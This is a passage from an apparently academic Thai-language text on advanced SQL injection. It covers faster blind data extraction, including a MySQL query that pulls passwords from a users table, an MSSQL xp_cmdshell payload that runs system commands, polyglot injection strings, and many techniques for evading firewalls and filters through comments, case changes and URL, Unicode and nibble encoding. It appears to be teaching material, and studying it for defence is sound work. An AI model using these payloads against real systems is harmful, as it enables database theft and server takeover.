ได เม่ือรวมเทคนิคเหลานี้จะเปนการสรางการโจมตีรายแรง 
 2.6.1  Optimization 
 การเพิ่มประสิทธิภาพมักจะเปนสวนหนึ่งของการมองขามมากท่ีสุด ท่ีสําคัญเม่ือใช
ประโยชนจาก Blind SQL Injection ไมเพียงแต SQL Injection ท่ีดีท่ีสุด แตจะใหผลลัพธท่ีเร็วข้ึน
นอกจากนี้ยังชวยลดความแออัดของเครือขายและเปนภาระบนเซิรฟเวอรนอยกวา ซ่ึงจะชวยใหลด
ความเส่ียงจากการถูกตรวจพบ ความแตกตางในความเร็ว วิธีการบางอยางเปนท่ีนาอัศจรรยและ
สามารถตัดจํานวนของการรองขอและเวลาที่ใชในการประสบความสําเร็จดึงขอมูลจากฐานขอมูล 
โดยมากกวาหนึ่งในสาม เม่ือเทียบกับวิธีการแบบดั้งเดิม การจะใชวิธีการเหลานี้จะตองเขาใจวิธีการ
ทํางานและวิธีการที่มีประสิทธิภาพของแตละอยาง แตกอนท่ีจะเร่ิมตนในการวิเคราะหและ
เปรียบเทียบ ส่ิงสําคัญคือทบทวนแนวคิดเบ้ืองตนกอน 
 คอมพิวเตอรสามารถเขาใจตัวเลขสําหรับ ASCII (รหัสมาตรฐานอเมริกันสําหรับการ
แลกเปล่ียนขอมูล) ท่ีถูกสรางข้ึนเพื่อเปนตัวแทนตัวเลข ตัวอักษรหรือ อักขระ ASCII ใดๆ ท่ี
สามารถแสดงใน 1 ไบตหรือ 8 บิต หรือ octet เม่ือจัดการกับ SQL Injection มักจะไมสนใจใน 
ASCII เต็มรูปแบบเนื่องจากตัวอักษรบางตัวไมไดรับอนุญาตใหใชกับฐานขอมูล เพราะเหตุนี้จะ
มุงเนนไปท่ีชวง ASCII 32-126 ซ่ึงทําใหเรามีชุดของตัวอักษร 94 ตัว โดยสามารถแสดงดวย 7 บิต
ซ่ึงบิตท่ีสําคัญท่ีสุดเปน 0 จะเพิ่มประสิทธิภาพในเทคนิคเพราะมันชวยใหสามารถตัดการรองขอได 
ตารางตอไปนี้แสดงใหเห็นชวง ASCII ในรูปแบบท่ีแตกตางกัน: 
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ตารางท่ี 2.1 ชวง ASCII ในรูปแบบท่ีแตกตาง 
 

 
 

Note Table 1:  The MSB (most significant bit) จะปดตลอดเวลา ซ่ึงจะสามารถใหบันทึกการรอง
ขอเพ่ิมเติมได 

 

 Analysis of Methods  
 วิธีการเหลานี้มีวัตถุประสงคท่ีจะนํามาใชกับ Blind SQL Injection เมื่อการแสดง
ขอผิดพลาดถูกปดใชงาน ซ่ึงโดยท่ัวไปจะมีการรับตัวอักษร 1 ตัวตอคร้ัง 
 Bisection Method 
  วิ ธี  Bisection ซ่ึง เปนท่ี รูจักกันท่ัวไปวา เปนวิ ธีการคนหา  Binary ในวิทยาการ
คอมพิวเตอร เปนข้ันตอนของลอการิทึม โดยใชกันอยางแพรหลายมากท่ีสุดสําหรับการดึงขอมูล
ผานการ SQL Injection อเนกประสงคท่ีมีประสิทธิภาพ และเปนทางเลือกท่ีนิยมในหมูแฮกเกอร
และโปรแกรมเมอร bisection ทํางานโดยแยกรายการออกเปน 2 คร่ึงและทําการคนหาแตละคร่ึง 
จากนั้นแบงคร่ึงรายการในสวนท่ีพบอีก และทําซํ้าจนกวาจะเสร็จส้ินดวยเหตุนี้จึงเปนข้ันตอนของ 
Divide and Conquer เม่ืออธิบายในแงประสิทธิภาพการทํางานก็มีกรณีท่ีเลวรายท่ีสุดท่ีเหมือนกัน
และสถานการณกรณีท่ีคาเฉล่ียของ log2 (N) ซ่ึงในวิธีนี้มักจะอยูปลายสูงของการรองขอของ เม่ือ
นํามาใชกับ SQL Injection จะตองรองขอเพ่ิมเติมเพื่อทํางานดวยวิธีการนี้ Regex Method 
  วิธีนี้เปนเพียงรูปแบบของวิธีการ bisection ซ่ึงใช Regular Expression สําหรับ MySQL 
ใชฟงกช่ัน REGEXP และสําหรับ MSSQL ใชคําส่ัง LIKE ซ่ึงมีการทํางานท่ีคลายกัน แตการทํางาน
แตกตางกันเล็กนอย ขอเสียเล็กๆ คือสองวิธีนี้การใชหนาท่ีแตกตางกันสําหรับแตละประเภทของ
ฐานขอมูล ทางเลือกท่ีแนะนําคือการใชฟงกช่ันท่ีมีอยูท้ังใน MySQL และ MSSQL นี้จะลดความ
ซับซอนของการดําเนินการตามการใชงานฟงกช่ันเดียวสําหรับหลายฐานขอมูล 
 REGEXP '^[a-z]' True 
 REGEXP '^[a-n]' True  
 REGEXP '^[a-g]' False  
 REGEXP '^[h-n]' True  
 REGEXP '^[h-l]' False 
 Note Table 2: ตัวอยางการใช REGEX method 
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 Bitwise Methods 
 มีหลากหลาย Bitwise Method ซ่ึงท้ังหมดจะแตกตางกันเล็กนอย เม่ือวิเคราะหวิธีการ
เหลานี้ในกรณีสวนใหญท้ังหมดจะใหผลลัพธแยกวาวิธี bisection ซ่ึงจะไมกลาวถึง วิธีนี้จะใช 
Bitwise operation เชน shigting และ ANDing แต operation เหลานี้จะเปนส่ิงซํ้าซอน เนื่องจาก 
Binary ถูกนับวาเปน String ท้ังใน MySQL และ MSSQL ดังนั้นจึงเปนไปไดท่ีจะใชฟงกช่ัน 
SUBSTRING หรือคลายกันเพื่อเปรียบเทียบบิตแตละบิตเปน 1 หรือ 0. ผลรวมของการรองขอมี
ความสอดคลองกัน 

 | Binary of “a” | Bit to be shifted | Binary result | Decimal result | 
 | 01100001 | >> 7 | 00000000 | 0 | 
 | 01100001 | >> 6 | 00000001 | 1 | 
 | 01100001 | >> 4 | 00000110 | 6 | 
 | 01100001 | >> 3 | 00001100 | 12 | 
 | 01100001 | >> 2 | 00011000 | 24 | 
 | 01100001 | >> 1 | 00110000 | 48 | 
 | 01100001 | >> 0 | 01100001 | 97 | 
 Note Table 3: Bitwise shifting method แสดงการดึงตัวอักษร “a”. 
 Bin2Pos Method 
 วิธีนี้เปนวิธีการการคนหาท่ีดีท่ีสุดท่ีสามารถดึงตัวอักษรท่ีมีดวยคํารองขอเพียง 1 คําขอ
และสูงสุด 6 รองขอได วิธีการนี้จะข้ึนอยูกับ list ของตัวอักษรท่ีแตละตัวจะถูกเทียบไปยังตําแหนง
ของตัวนั้นใน list การทําแผนท่ีตําแหนงตัวอักษรเปนส่ิงสําคัญเพราะตัวเลขท่ีจะใชดึงขอมูลมีขนาด
เล็กกวาเลขฐานสิบของตัวอักษรมาก ตําแหนงตัวอักษรจะถูกแปลงเปน Binary และเร่ิมตนการดึงคา
จากบิตแรกของ Binary Sequence โดยการแปลงตําแหนงอักษรเปน Binary จะทําใหมีประสิทธิภาพ
ในการคนหาเนื่องจากลดชุดของตัวอักษรลงโดยมองหาเพียงสองตัว (1 หรือ 0) นอกจากนี้เนื่องจาก
เร่ิมดวยการเกิดข้ึนคร้ังแรกของ on bit สามารถบันทึกหนึ่งคําขอไดตั้งแตจะรูวามันจะเปน "1" 
เนื่องจากขนาดของ binary จะข้ึนอยูกับตําแหนงของตัวอักษรใน list ตัวอักษรท่ีใกลเปนจุดเร่ิมตน
ของ list ก็จะใชจํานวนคํารองขอสําหรับดึงท่ีนอยลงไปดวย ดวยเหตุนี้สามารถจัดลําดับของ list 
ตามตัวอักษรท่ีพบบอยท่ีสุดเพื่อเพ่ิมประสิทธิภาพใหดียิ่งข้ึน ตัวอยางของการดําเนินการใน MySQL 
ท่ีใชพารามิเตอรท่ีมีคาท่ีแตกตางกันสองตัว (เชน id = 1 id = 2) ในภาพดานลางโดยใชเลขชุดฐาน
สิบหกไปนี้: 
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Quote: 
IF((@a:=MID(BIN(POSITION(MID((SELECT password FROM users WHERE id=2 LIMIT  
1),1,1)IN(CHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space( 
0),2-@a,0/0) 

 
 เนื่องจากขนาดของเซ็ต 94 (32-126) ตองใช 7 bit หมายความวาขนาดสูงสุดท่ีจะใชดึง
ตัวอักษรเทากับ 7. ตองใชการรองขอเพิ่มเติมเพ่ือตรวจสอบวาไดมาถึงจุดส้ินสุดของ binary 
sequence . ดังนั้นโดยการหลีกเล่ียงการรองขอคร้ังแรกและไมทําคําขอเพิ่มเติมในตอนทายนี้ทําใหมี
ท้ังหมด 7 รองขอ แตเนื่องจากเรารูวา 7 bit คือความยาวสูงสุดท่ีดึงได ถาทําแลว 6 คําขอ ไมตองสง
การรองขอเพิ่มเติมเพื่อจะรูจุดส้ินสุดเนื่องจากมาถึงความยาวสูงสุดท่ีเปนไปไดแลว . นี้เปนกรณี
อยางแยท่ีสุดของการใช 6 คํารองขอ สถานการณกรณีที่ดีท่ีสุดคือเม่ือตัวอักษรถูกพบในตําแหนง
แรกของ list ซ่ึงใชแค 1 คําขอ ภาพประกอบตอไปนี้แสดงใหเห็นถึงวิธีการนี้ใชชุดเรียงตามอักษร 
 

 
 
ภาพท่ี 2.3  ใหเห็นถึงวิธีการนี้ใชชุดเรียงตามอักษร 
  
 Optimizing Queries  
 ขณะนี้ไดสํารวจบางสวนของวิธีการที่รูจักกันดีสําหรับการดึงขอมูลผานการ Blind 
SQL Injection จะมองไปที่การเพิ่มประสิทธิภาพคําส่ังบางอยางท่ีสามารถเรงสกัดขอมูลจาก
ฐานขอมูลได. Ionut Maroiu แสดงใหเห็นถึงเทคนิคสําหรับ MySQL ซ่ึงจะชวยใหการดึงฐานขอมูล
ท้ังหมดผานการรองขอเดียว เทคนิคท่ีคลายกันสําหรับ PostgreSQL และ Oracle ซ่ึงไดแสดงใหเห็น
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โดย Dmitriy Serebryannikov และอีกคนหนึ่งสําหรับ MSSQL คนพบโดย Daniel Kachakil ตาราง
ตอไปนี้แสดงตัวอยางของแตละคําส่ังอธิบายน้ี: 
 

ตารางท่ี 2.2 คํารองท่ีแตกตางกันซ่ึงดึงขอมูลตาราง และคอลัมนตางๆ ในคํารองขอเดียว  
 

 
 

 นอกจากนี้ยังมีการโจมตีอยางรุนแรงดวยคําขอเดียวซ่ึงดําเนินการไดโดยสงคําส่ังซอน
กันใน MSSQL หรือแมกระท่ัง MySQL เม่ือใช PDO หรือ mysqli สําหรับ PHP ท่ีใหมและ "ดีข้ึน" 
ยกตัวอยางเชน คํารองขอตอไปนี้สําหรับ MSSQL จะตรวจสอบเพื่อดูวามีการโหลด xp_cmdshell 
หรือไม หากมีการเปดใชงาน จะตรวจสอบเพื่อดูวามีการใชงานหรือไมและถามีการใชงานจะ
ดําเนินการเรียกใชคําส่ังท่ีเลือก  
 

PHP Code: 
<?php  
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAM
E='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * F
ROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERT
Y (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), 
min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_co
nfigure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1
)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_c
mdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font  
color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@
a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE 
%23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO 
TMP_DB--  
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 สําหรับท้ังการทดสอบเจาะระบบและการโจมตี การทดสอบสําหรับ SQL Injection 
กลายเปนเร่ืองนาเบ่ือ บางเว็บโปรแกรมมีจํานวนโมดุลและพารามิเตอรท่ีไมมีท่ีส้ินสุด นอกจากนี้
การทดสอบ SQL Injection ตองทําอยางนอยสามการทดสอบ : Single, Double และ No Quotation 
ดวยคําส่ังท่ีดีท่ีสุด ก็เปนไปไดท่ีจะลดท้ังหมดเปนหนึ่งคํารองขอ 
 

ตารางท่ี 2.3  Injection ท่ีมีประสิทธิภาพทําใหเราทดสอบท้ัง 3 แบบไดใน 1 คํารองขอตัวอยางอ่ืนๆ 
 โดยการใช AND: 
 

 
 

ตารางท่ี 2.4 จุดแตกตางของ Injection โดยใช AND.      
 

 
  
ดานลางเปนตวัอยางคํารองขอสําหรับ Injection ดังตอไปนี้: 
 

Quote: 
SELECT * FROM Users WHERE username=”Admin” and password = “1 OR  
1#"OR"'OR''='"="'OR''='” 

 

Quote: 
SELECT * FROM Articles WHERE id = 1!=0--+"!="'!=' 

 
 2.6.2  Obfuscation 
 เปนหนึ่งในเคร่ืองมือหลักสําหรับหลบหลีกไฟรวอลล โดยหลอกลอไฟรวอลลใหคิดวา
การโจมตีท่ีเกิดเปนขอมูลท่ีถูกตอง ซ่ึงสามารถสงการโจมตีไดสําเร็จโดยไมถูกตรวจพบ มีหลายวิธี
ท่ีสามารถใชในการอําพราง Injection โดยผานการใชงาน fuzzers ซ่ึงสามารถคนพบความเปนไปได
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ท่ีแตกตางกันในการใช obfuscation แมวาบางคร้ังความเรียบงายอาจเปนตัวเลือกท่ีดีกวาและถาทาง
อ่ืนท้ังหมดลมเหลวก็สามารถหันไปใชทางอ่ืนเพื่อความหลากหลายของการเขารหัสได 
 Fuzzers  
 มันเปนส่ิงสําคัญสําหรับนักพัฒนาไฟรวอลลท่ีจะตองตระหนักดีถึงทุกรายละเอียดของ
ฐานขอมูลและจุดตองสงสัย บางสวนของจุดตองสงสัยเหลานี้ สามารถพบไดผาน fuzzing การใช 
fuzzers ท่ีมีตัวอักษรชองวาง ท่ีไดรับอนุญาตสําหรับฐานขอมูลแตละประเภท แตละ RDBMS จะมี
ตัวอักษรชองวางท่ีอนุญาตแตกตางกันแทนท่ีจะใช 0x20 ตามปกติ ใชการเปล่ียนชองวางท่ีมี
ตัวอักษรชองวางอ่ืนๆ ท่ีไดรับอนุญาตเขาไปดวย ทําใหเราสามารถสงการ Injection โดยท่ีไฟรวอลล
ไมสามารถรูไดและอนุญาตใหผานเขาไป  
 

ตารางท่ี 2.5 ตัวอักษรชองวางท่ีอนุญาตใน RDBMS ท่ีตางกัน 
 

 
 
 ขณะท่ีการแทนท่ีชองวางอาจจะเปนเคล็ดลับท่ีเปนประโยชน ไฟรวอลลท่ีมีความ
ซับซอนจะมีความสามารถในการตรวจหาตัวอักษรชองวางท่ีไดรับอนุญาต สวนใหญแลวก็จะ
จัดการใหเหมาะสม เม่ือไฟรวอลลสามารถทํา deobfuscating ไดจริงๆ บางคร้ังก็อาจจะดีท่ีสุดท่ีจะ
ใชเสนทางตรงขามและลดความซับซอนในการ Injection ใหมากท่ีสุดเทาท่ีเปนไปไดเชนเดียวกับ
หลายภาษาโปรแกรมท่ีใหเราหลายวิธีในการบรรลุผลเดียวกัน เชนเดียวกับ SQL ในบางกรณีใช
วิธีการที่งายสามารถมีประสิทธิภาพมากท่ีสุด ถา SQL Injection นั้นมีลักษณะเหมือนภาษาอังกฤษ
ธรรมดาๆ มันอาจเปนเร่ืองยากมากสําหรับไฟรวอลลเพื่อแยกความแตกตางระหวางขอความปกติ
กับคําส่ัง SQL ตัวอยางท่ีดีคือการใชงานตอไปของคําส่ัง CASE ท่ีซ่ึงสามารถผนวกหลังจากคําส่ัง 
WHERE : 
 

Code: 
CASE WHEN BINARY TRUE THEN TRUE END IS NOT UNKNOWN HAVING TRUE FOR  
UPDATE 
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 Encodings  
 การเขารหัสพิเศษเปนอีกเคร่ืองมือหนึ่งท่ีจะใชเพื่อผานไฟรวอลล สวนใหญของการ
เขารหัสเหลานี้จะข้ึนอยูกับวิธีการประยุกตการประมวลผลขอมูล โปรแกรมประยุกตบนเว็บอาจจะ
เห็นขอมูลในทางเดียว ในขณะท่ีพร็อกซ่ี ไฟรวอลลหรือฐานขอมูล อาจตีความขอมูลท่ีแตกตางกัน 
มันเปนเพราะความแตกตางเหลานี้ระหวางช้ันท่ีเขารหัสอาจทํางานเพ่ือหลีกเล่ียงไฟรวอลล 
 URL encode  

 ทุกคนท่ีไดเรียกดูเว็บไดเห็นการเขารหัสแบบน้ีมากอน การเขารหัส URL จะถูกใชใน
การแปลงตัวอักษรพิเศษ เพื่อใหพวกเขาสามารถสงผาน HTTP ได ตัวอักษรที่ไดรับการเปล่ียนเปน
เลขฐานสิบหกจะถูกนําหนาดวยเคร่ืองหมายเปอรเซ็นต 
 Double URL encode 
 เปนเพียงกระบวนการของการใช URL เขารหัสสองคร้ังในตัวอักษร ท่ีจําเปนคือการ
เขารหัสของเคร่ืองหมายเปอรเซ็นต การเขารหัสนี้จะประสบความสําเร็จหากขอมูลถูกถอดรหัสเปน
คร้ังท่ีสองหลังจากท่ีไดผานไฟรวอลลและกอนท่ีจะถึงฐานขอมูล 
 Unicode encode 
 Unicode เปนมาตรฐานอุตสาหกรรมสําหรับการเปนตัวแทนกวา 110,000 สัญลักษณ
และตัวอักษรสําหรับหลากหลายภาษา มันสามารถแสดงโดยเขารหัสตัวอักษรท่ีแตกตางกันเชน 
UTF-8, UTF-16 UTF-32 และอ่ืนๆ การเขารหัสนี้โดยท่ัวไปทํางานกับเซิรฟเวอร IIS หรือโปรแกรม
ท่ีสรางขึ้นใน ASP หรือ .NET 
 

ตารางท่ี 2.6 ตารางการเขารหัสของตัวอักษร “a” 
 

 
 

 UTF-8 encode 
 UTF-8 เปนรูปแบบของการเขารหัสของแตละจุดรหัสจาก  1,114,112 จุด  (0 ถึง 
10FFFF) ในชุดอักขระ Unicode. "UTF" หมายถึงการเปล่ียนแปลงรูปแบบ Unicode ในขณะท่ี "8" 
หมายความวาจะใชบล็อก 8 บิตเพื่อเปนตัวแทนของตัวอักษร จํานวนบล็อกท่ีจําเปนในการเปน
ตัวแทนของตัวอักษรท่ีแตกตางจาก 1 ถึง 4 เพียง 1 ไบตหรือบล็อกจะตองเปนตัวแทนของตัวอักษร
จากชวง ASCII 0-127 มีบิตนํา คือ 0. แตจุดรหัสใดๆ ท่ีสูงกวา 127 ตองแสดงเปนหลายไบตท่ีบิตนํา
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ของไบตแรกเปน 0, แทนจํานวนท้ังหมดเพื่อทําให sequence เสร็จสมบูรณ บิตตอจากบิต 0 ตัวแรก 
ในสวนของตัวอักษร แตละไบตท่ีติดตอกันมี '10' อยูในตําแหนงท่ีสูง อยางไรก็ตามท้ังสองบิต
ซํ้าซอนกัน . xx ในแผนภูมิขางลางนี้เปนตัวแทนของบิตท่ีเกิดข้ึนจริงของขอมูล 
 

ตารางท่ี 2.7 การเขารหัส UTF-8 multi-byte ท่ีตางกัน 
 

 
 

  เนื่องจากสองบิตท่ีสูงสุดหลังจากไบตแรกไมจําเปนตองใช แอปพลิเคช่ันอาจจะอานหก
บิตสุดทายชวยใหสามารถเปล่ียนสองบิตแรกดวย 00, 01 หรือ 11 ได 
 

ตารางท่ี 2.8 UTF-8 ของตัวอักษร “a”. 
 

 
 

 Nibble encode 
 nibble เปน 4 บิต ดังนั้นมีสิบหก (2 ** 4) คาท่ีเปนไปได เพื่อใหสอดคลองกับหลัก
เลขฐานสิบหกหนึ่งตัว ตั้งแตตัวอักษรจากชวง ASCII 0-255 ทุกตัวสามารถอยูใน 1 byte ได 
สามารถเขารหัส URL ใน 4 บิตสําคัญ หรือ 4 บิตสําคัญนอยสุด หรือท้ังสองได กระบวนการนี้เปน
ท่ีรูจักกันวาการเขารหัส First Nibble, Second Nibble และ Double Nibble 
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ตารางท่ี 2.9  ตารางการเขารหัสแบบ Nibble 
 

 

 
 
 Invalid Percent encode 
 การเขารหัสเปอรเซ็นตท่ีไมถูกตอง โดยเฉพาะกับ .NET / IIS แอปพลิเคช่ัน โดยการ
เพิ่มเคร่ืองหมายเปอรเซ็นตในระหวางตัวอักษรท่ีไมใชอักษร HEX จากน้ัน IIS จะตัดตัวอักษรที่ทํา
ใหขอมูลท่ีถูกตอง อยางไรก็ตามไฟรวอลล ท่ีไมทราบถึงลักษณะการทํางานนี้จะปลอยเครื่องหมาย
เปอรเซ็นตเอาไว ซ่ึงทําใหคําส่ัง SQL ไมถูกตรวจสอบ 
 

ตัวอยางขอมูลท่ีไฟรวอลลมองเห็น:  
Code: 
%UNI%ON %SE%LE%CT 1 %FR%OM %D%U%A%L 

 
ตัวอยางขอมูลที่ IIS มองเห็น: 

Code: 
UNION SELECT 1 FROM DUAL 

 
 Invalid Hex encode 
 อักษร HEX\ ไมใชการเขารหัส แตมันเปนการบอกแอปพลิช่ันใหจัดการแปลง
เลขฐานสิบหกใหเปนฐานสิบ จุดประสงคคือสรางเลขฐานสิบหกท่ีไมถูกตองท่ีจะสงผลในคาฐาน
สิบเชนเดียวกับฐานสิบหกท่ีถูกตอง ท้ังนี้ข้ึนอยูกับวิธีการที่แอปพลิเคช่ันจัดการและแปลงขอมูล 
อาจจะเห็น %2U เปนเชนเดียวกับ %61 
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ตารางท่ี 2.10 การแปลงเลขฐานสิบหกท่ีไมถูกตอง โดยใหผลฐานสิบท่ีเหมือนกนักบัฐานสิบหก 
ท่ีถูกตอง 

 

 
 

ตารางท่ี 2.11  เลขฐานสิบหกท่ีไมถูกตองใชตัวอักษรท้ังหมด ในขณะท่ีเลขฐานสิบหกจริงๆ ใช A-F. 
 

 
 
 ประเภทท่ัวไปของ SQL filters 
 ในบริบทของการโจมตี SQL Injection ฟลเตอรท่ีนาสนใจท่ีสุดท่ีมีแนวโนมท่ีจะพบ
เปนผูท่ีพยายามท่ีจะปองกันการปอนขอมูลใด ๆ ท่ีมีเพียงแคหนึ่งหรือมากกวาของขอมูลดังตอไปนี้: 
SQL keywords, เชน SELECT, AND, INSERT ตัวอักษรเฉพาะอ่ืนๆ เชน ?, - 
 White-spaces 
 ยังอาจพบฟลเตอรซ่ึงเปนมากกวาการปดกั้นการปอนขอมูลท่ีมีรายการในรายการกอน
หนานี้พยายามท่ีจะปรับเปล่ียนการปอนขอมูลท่ีจะทําใหมันปลอดภัยไมวาจะโดยการเขารหัสหรือ
การหลบตัวอักษรที่มีปญหาหรือโดยการลอกรายการที่กระทําผิดจากการปอนขอมูลและการ
ประมวลผลส่ิงท่ีเหลืออยูในทางปกติ ซ่ึงเปนวิธีการท่ีไมไดเปนตรรกะ  
 บอยคร้ังท่ีรหัสโปรแกรมตัวกรองเหลานี้ปองกันความเส่ียง SQL Injection (เพราะ 
ไรความไมรูหรือนักพัฒนาไมดีท่ีมีอยูท่ัวทุกมุมโลก) และการใชประโยชนจากชองโหวท่ีตองการ 



39 

ท่ีจะหาวิธีการหลบเล่ียงตัวกรองที่จะผานการปอนขอมูลท่ีเปนอันตราย ตองการรหัสท่ีมีชองโหว 
ในไมกี่สวนตอไปจะตรวจสอบเทคนิคบางอยางท่ีสามารถใชไดในการทํา 
 2.6.3 Advanced Obfuscation 
 Bypassing SQL Injection filters 
 จะแจงใหทราบวาทุก SQL Injection filter ขางตนเปนเทคนิคจาก blacklist และไมใช
ตรรกะของ whitelist ซ่ึงหมายความวาการพัฒนาซอฟตแวรท่ีไมดีอยูในรายการ blacklist มีหลายวิธี
ท่ีจะหลีกเล่ียง SQL Injection filters มีวิธีการมากมายท่ีใชประโยชนจากวิธีนี้เชนกัน และวิธีท่ีใชกัน
มากท่ีสุดของการหลบหลีก SQL Injection filters คือ : 
 ใช Case Variation. 
 ใช SQL Comments. 
 ใช URL Encoding. 
 ใช Dynamic Query Execution. 
 ใช Null Bytes. 
 Nesting Stripped Expressions. 
 Exploiting Truncation. 
 ใช Non-Standard Entry Points. 
 รวมเทคนิคขางตน. 
 Case Variation 

 ถาการกรอง keyword ไมไดผลอาจจะตองหลีกเล่ียงโดยการเปล่ียนแปลงตัวอักษรใน
ขอมูลการโจมตี เพราะฐานขอมูล SQL จัดการ keyword แบบ case-insensitive ตัวอยางเชน ถาการ
ปอนขอมูลตอไปนี้ถูกบล็อก: 

 

Code: 

' UNION SELECT @@version -- 
 

อาจหลีกเล่ียงการกรองไดโดย: 
Code: 
' UnIoN sElEcT @@version -- 

 
  หมายเหตุ: โดยใชเพียงตัวพิมพใหญหรือพิมพเล็กอาจจะใชงานได แตจะไมขอแนะนําการใชเวลา

เปนจํานวนมากในการพิมพขนาดนั้น 
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 SQL Comments 
 สามารถใช in-line comment เพ่ือสรางตัวอยางของ SQL ซ่ึงเปนคําส่ังท่ีผิดปกติ แตท่ี

สามารถใชไดและหลีกเล่ียงตัวกรองการปอนขอมูลชนิดตางๆ ได สามารถหลีกเล่ียงฟลเตอรจับคู
รูปแบบตางๆ ในลักษณะนี้ได แนนอนสามารถใชเทคนิคเดียวกันนี้เพื่อหลีกเล่ียงฟลเตอรซ่ึงปดกั้น
อักษรชองวางได นักพัฒนาหลายคนเช่ือผิดๆ วา การจํากัดการปอนขอมูลจะปองกันการโจมตี SQL 
Injection , โดยลืมไปวาใน in-line comment ชวยใหผูโจมตีสราง SQL ท่ีซับซอนโดยพลการโดยไม
ตองใชชองวางใดๆ ได 
 ในการใชงานของ SQL เราสามารถใชงาน in-line comment ของ SQL Keyword เพื่อ 
ทําการปองกัน โดยใช เทคนิค Keyword Blocking Filter  ตัวอยาง ชุดคําส่ังของการ Attack ดังกลาว
ยังจะสามารถทํางานไดอยูถาสุดทายแลวยังเปน MySQL และ ตรวจสอบแค ชองโหวของ SQL 
Injection String 

 
Code: 
UNION/**/SELECT/**/@@version/**/-- Or ' U/**/NI/**/ON/**/SELECT/**/@@version/**/-- 

 

หมายเหตุ:  ชุดคําส่ังนี้คือชองทางการหลบหลีก โดยคลอบคลุมไปถึงการใช gap filling และ black 
list bad character  

 

 URL Encoding 
 การเขารหัส URL เปนเทคนิคท่ีหลากหลายท่ีสามารถใชเพ่ือกรองการปอนขอมูล ใน
รูปแบบพื้นฐานท่ีสุดคือการแทนที่ ASCII Code ในชุดท่ีมีปญหา โดย เลขฐานสิบหก โดยใช
อักษรนําหนาเปน % ตัวอยางเชนรหัส ASCII Code ใน Single question mark คือ 0x27 โดยคําส่ังนี้
ใน URL Encoded คือ %27 โดยเหตุการณนี้สามารถใชคําส่ังดังกลาวในการหลบหลีกการตรวจจับ
ได 
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Original query: 
Code: 
UNION SELECT @@version -- 

 

URL-encoded query: 
Code: 
%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73
%69%6f%6e%20%2d%2d 

 
 ในกรณีอ่ืนๆ ท่ีการโจมตี URL Encoding ไมประสบผลสําเร็จ แตยังคงสามารถ
หลีกเล่ียงการตรวจจับโดยใช รูปแบบ double-URL-encoding ในการใช double-encoded attack ใช
อักขระ % ในการโจมตีเดิมเชน ของเดิมคือ %25 เม่ือเปนรูปแบบ double-URL-encoding นั้นจะเปน 
%2725 เมื่อไดปรับเปล่ียนรูปแบบการโจมตีเปนแบบ double-URL-encoding จะไดชุดคําส่ังดังนี้ 
 

Code: 
%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65
%25%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34
%25%32%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33
%25%36%39%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64 

 
หมายเหตุ: ตองเลือกพิจารณาวิธีการของ URL – Encoding ดังกลาวใหถูกตองการหลีกเล่ียงการ

ตรวจจับ SQL Injection Filtering 
 

 Double-URL-Encoding บางคร้ังสามารถประสบผลสําเร็จโดย Web Application มีการ
ถอดรหัส มากกวา หนึ่งคร้ัง และ Apply คําส่ัง Input File กอนท่ีจะถึงข้ันตอนสุดทายในการ
ถอดรหัส โดยตัวอยางการทํางานดังนี้ 
 The attacker supplies the input ‘%252f%252a∗/UNION … 
 The application URL decodes the input as ‘%2f%2a∗/ UNION… 
 The application validates that the input does not contain /∗ (which it doesn't). 
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 The application URL decodes the input as ‘/∗∗/ UNION… 
 The application processes the input within an SQL query, and the attack is successful. 
 โดยตอไป ในเทคนิตของการใช URL-Encoding นั้นจะใช Unicode encodes เพ่ือการ
ตรวจจับ อักขระ ตลอดจนการใชงาน % นําหนา สองหลักของ Hexadecimal ASCII, URL 
Encoding สามารถใชรูปแบบของ Unicode encode แทนท่ีของอักขระ SQL Injection จะทํางานได
เม่ือรูปแบบคําส่ัง Unicode encode เปนลักษณะเชนนี้ 
 
Code: 
27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D 
 
หมายเหตุ: เนื่องจากยังไมมีรูปแบบมากนักในการใช Unicode encode ซ่ึงอาจจะไมคอยมีประโยชน

มากนักในการตรวจจับ SQL โดย Unicode encode 
 
 CAST and CONVERT keywords 
 ประเภทยอยของการโจมตีอ่ืนๆ ของการ Encoding คือ การโจมตีแบบ CAST และ 
CONVERT. การโจมตีแบบ CAST และ CONVERT นั้นจะใชการ ปรับเปล่ียนขอมูลโดยทันทีของ 
Data ไปยัง รูปแบบอ่ืนๆ ใน CAST Keyword จะถูกฝงอยูใน MYSQL ดวย MYSQL และ Postgre 
Database ถูกใชเปนชองทางของการโจมตี โดย Website หลายๆแหงจะนิยมใช และ SQL Injection 
filter bypass ดวย การใชงานท่ียังไมแพรหลายของ botnet โดยใชชองทางนี้ในการโจมตีคือ ไวรัส 
ASPRox  โดยมี Syntax ดังนี้ 
 Using CAST 
 CAST ( expression AS data_type ) 
 Using CONVERT 
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] ) 
 CAST and CONVERT นั้น จะมีการตอบกลับขอมูลท่ีเหมือนกันกับ function 
SUBSTRING โดยตัวอยาง ชุดคําส่ังนี้จะแสดงใหเห็นวา มีการตอบกลับผลลัพธ ท่ีเหมือนกัน 
 

Code: 
